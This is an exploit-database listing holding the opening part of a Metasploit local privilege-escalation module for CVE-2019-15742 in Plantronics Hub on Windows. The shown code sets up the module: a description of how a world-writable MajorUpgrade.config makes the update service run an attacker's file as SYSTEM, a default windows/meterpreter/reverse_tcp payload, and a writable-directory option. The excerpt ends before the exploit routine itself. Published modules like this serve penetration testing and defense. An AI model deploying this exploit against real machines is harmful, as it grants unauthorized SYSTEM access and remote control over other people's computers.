Exploits / Vulnerability Discovered : 2020-01-17 |
Type : local |
Platform : windows
[+] Code ...
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Exploit::EXE
include Post::File
include Post::Windows::Priv
include Post::Windows::Services
include Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Plantronics Hub SpokesUpdateService Privilege Escalation',
'Description' => %q{
The Plantronics Hub client application for Windows makes use of an
automatic update service `SpokesUpdateService.exe` which automatically
executes a file specified in the `MajorUpgrade.config` configuration
file as SYSTEM. The configuration file is writable by all users by default.
This module has been tested successfully on Plantronics Hub version 3.13.2
on Windows 7 SP1 (x64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Markus Krell', # Discovery and PoC
'bcoles' # Metasploit
],
'References' =>
[
['CVE', '2019-15742'],
['EDB', '47845'],
['URL', 'https://support.polycom.com/content/dam/polycom-support/global/documentation/plantronics-hub-local-privilege-escalation-vulnerability.pdf']
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' => [['Automatic', {}]],
'DisclosureDate' => '2019-08-30',
'DefaultOptions' =>
{
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
},
'Notes' =>
{
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'DefaultTarget' => 0))
register_advanced_options [
OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)', nil]),
]
end
def base_dir
datastore['WritableDir'].blank? ? session.sys.config.getenv('TEMP') : datastore['WritableDir'].to_s
end